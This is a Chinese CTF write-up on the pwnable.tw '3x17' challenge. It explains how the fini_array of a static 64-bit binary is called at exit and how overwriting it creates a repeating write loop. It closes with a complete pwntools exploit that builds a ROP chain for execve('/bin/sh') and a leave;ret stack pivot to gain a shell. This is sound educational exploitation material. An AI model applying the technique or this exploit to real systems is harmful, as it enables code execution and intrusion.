本篇内容主要以pwnable.tw上的0x17为背景,这个题是64位静态链接的,因此我写的内容主要是针对64位静态链接的。
首先对于我们初学者来说一般程序的启动给我们的第一形象是从main函数开始的(其实不是),事实上main的返回地址是**__libc_start_main
,而程序真正开始是从__start**开始,具体的如图
我们可以用readelf -h 程序名
来查看程序加载入口地址
➜ Desktop readelf -h 3x17 ELF 头: Magic: 7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00 类别: ELF64 数据: 2 补码,小端序 (little endian) 版本: 1 (current) OS/ABI: UNIX - GNU ABI 版本: 0 类型: EXEC (可执行文件) 系统架构: Advanced Micro Devices X86-64 版本: 0x1 入口点地址: 0x401a50 程序头起点: 64 (bytes into file) Start of section headers: 759016 (bytes into file) 标志: 0x0 本头的大小: 64 (字节) 程序头大小: 56 (字节) Number of program headers: 8 节头大小: 64 (字节) 节头数量: 29 字符串表索引节头: 28
|
入口点地址:0x401a50也就是**_start**的起始地址
而上面的汇编代码
0x401a50 xor ebp, ebp 0x401a52 mov r9, rdx 0x401a55 pop rsi 0x401a56 mov rdx, rsp 0x401a59 and rsp, 0xfffffffffffffff0 0x401a5d push rax 0x401a5e push rsp 0x401a5f mov r8, 0x402960 #__libc_csu_fini 0x401a66 mov rcx, 0x4028d0 #__libc_csu_init 0x401a6d mov rdi, 0x401b6d #main 0x401a74 call 0x401eb0 <0x401eb0> #__libc_start_main
|
call 0x401eb0 <0x401eb0>就是call __libc_start_main
传给rdi寄存器的是main的函数地址
传给rcx寄存器的是**__libc_csu_init**的函数地址
传给r8寄存器的是**__libc_csu_fini**的函数地址
__libc_csu_init函数是在man函数执行前**__libc_start_main**调用的
__libc_csu_fini函数是 main 函数退出返回到**__libc_start_main,再通过__libc_start_main**调用的
我们看**__libc_csu_fini**函数的汇编
.text:0000000000402960 sub_402960 proc near ; DATA XREF: start+F↑o .text:0000000000402960 ; __unwind { .text:0000000000402960 push rbp .text:0000000000402961 lea rax, unk_4B4100 .text:0000000000402968 lea rbp, off_4B40F0 #fini_array .text:000000000040296F push rbx .text:0000000000402970 sub rax, rbp .text:0000000000402973 sub rsp, 8 .text:0000000000402977 sar rax, 3 .text:000000000040297B jz short loc_402996 .text:000000000040297D lea rbx, [rax-1] .text:0000000000402981 nop dword ptr [rax+00000000h] .text:0000000000402988 .text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j .text:0000000000402988 call qword ptr [rbp+rbx*8+0] .text:000000000040298C sub rbx, 1 .text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh .text:0000000000402994 jnz short loc_402988 .text:0000000000402996
|
我们看到有一个 lea rbp, off_4B40F0
这个0x4b40f0正是fini_array的起始地址
我们查看他的内部结构
.fini_array:00000000004B40F0 ; Segment permissions: Read/Write .fini_array:00000000004B40F0 _fini_array segment qword public 'DATA' use64 .fini_array:00000000004B40F0 assume cs:_fini_array .fini_array:00000000004B40F0 ;org 4B40F0h .fini_array:00000000004B40F0 off_4B40F0 dq offset sub_401B00 ; DATA XREF: sub_4028D0+4C↑o .fini_array:00000000004B40F0 ; sub_402960+8↑o #fini__array[0] .fini_array:00000000004B40F8 dq offset sub_401580 #fini_array[1] .fini_array:00000000004B40F8 _fini_array ends .fini_array:00000000004B40F8 .data.rel.ro:00000000004B4100 ; =========================================================================== .data.rel.ro:00000000004B4100 .data.rel.ro:00000000004B4100 ; Segment type: Pure data .data.rel.ro:00000000004B4100 ; Segment permissions: Read/Write .data.rel.ro:00000000004B4100 _data_rel_ro segment align_32 public 'DATA' use64 .data.rel.ro:00000000004B4100 assume cs:_data_rel_ro .data.rel.ro:00000000004B4100 ;org 4B4100h .data.rel.ro:00000000004B4100 unk_4B4100 db 2 ; DATA XREF: sub_402960+1↑o .data.rel.ro:00000000004B4100 ; sub_40EBF0:loc_40ECC8↑o ...
|
可以看到这个fini_array里面有两个地址:
fini_array[0]: 0x401B00
fini_array[1]: 0x401580
在**__libc_csu_fini**函数的汇编中最重要的是这三行代码
.text:0000000000402968 lea rbp, off_4B40F0 #fini_array
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:0000000000402994 jnz short loc_402988
|
作用是
先call fini_array[1] 然后ret;
再call fini_array[0]。
那么整个流程就是
_start—>__libc_start_main–>__libc_csu_init–>main–>__libc_csu_fini–>call fini_array[1]–>fini_array[0]–>程序退出。
那么如果我们把 fini_array[1]的地址更换为我们指定的地址暂且叫addrA,然后再把 fini_array[0]的地址更换为__libc_csu_fini,此时的整个流程就是
_start—>libc_start_main–>libc_csu_init–>main–>__libc_csu_fini–>addrA–> __libc_csu_fini–>addrA–> __libc_csu_fini–>addrA–> libc_csu_fini–>addrA–> 。。。。。。
我们就成功劫持了执行流,并且循环修改多次,多个字节。
接着我们看3x17这道题:
首先这道题是个64位静态链接
可以有一次修改指定地址指针的功能,这时我们就可以运用上面的方法,循环修改构造rop,最后进行栈迁移。
exp: from pwn import* context.log_level="debug" p=process("./3x17")
fini_array=0x4B40F0 ret=0x0000000000401016 leaveret=0x0000000000401c4b
bin_sh_addr=fini_array+0x50 p.recvuntil(b"addr:") payload=str( 0x4b40f0) p.send(payload) p.recvuntil(b"data:")
pop_rdx=0x0000000000446e35 libc_csu_fini=0x402960 main=0x401b6d syscall=0x00000000004022b4 pop_rax=0x000000000041e4af poprdi=0x401696 pop_rdx_rsi=0x000000000044a309
payload=p64(libc_csu_fini)+p64(main)
p.send(payload)
p.recvuntil(b"addr:") payload=str( 0x4b40f0+0x10) p.send(payload) p.recvuntil(b"data:") payload=p64(poprdi) p.send(payload)
p.recvuntil(b"addr:") payload=str( 0x4b40f0+0x18) p.send(payload) p.recvuntil(b"data:") payload=p64(bin_sh_addr) p.send(payload)
p.recvuntil(b"addr:") payload=str( 0x4b40f0+0x20) p.send(payload) p.recvuntil(b"data:") payload=p64(pop_rdx_rsi) p.send(payload)
p.recvuntil(b"addr:") payload=str( 0x4b40f0+0x28) p.send(payload) p.recvuntil(b"data:") payload=p64(0)+p64(0) p.send(payload)
p.recvuntil(b"addr:") payload=str( 0x4b40f0+0x38) p.send(payload) p.recvuntil(b"data:") payload=p64(pop_rax) p.send(payload)
p.recvuntil(b"addr:") payload=str( 0x4b40f0+0x40) p.send(payload) p.recvuntil(b"data:") payload=p64(0x3b) p.send(payload)
p.recvuntil(b"addr:") payload=str( 0x4b40f0+0x48) p.send(payload) p.recvuntil(b"data:") payload=p64(syscall) p.send(payload)
p.recvuntil(b"addr:") payload=str( 0x4b40f0+0x50) p.send(payload) p.recvuntil(b"data:") payload=b"/bin/sh" p.send(payload) gdb.attach(p) p.recvuntil(b"addr:") payload=str(fini_array) p.send(payload) p.recvuntil(b"data:") p.send(p64(leaveret))
p.interactive()
|
参考通过利用fini_array部署并启动ROP攻击 | TaQini-CSDN博客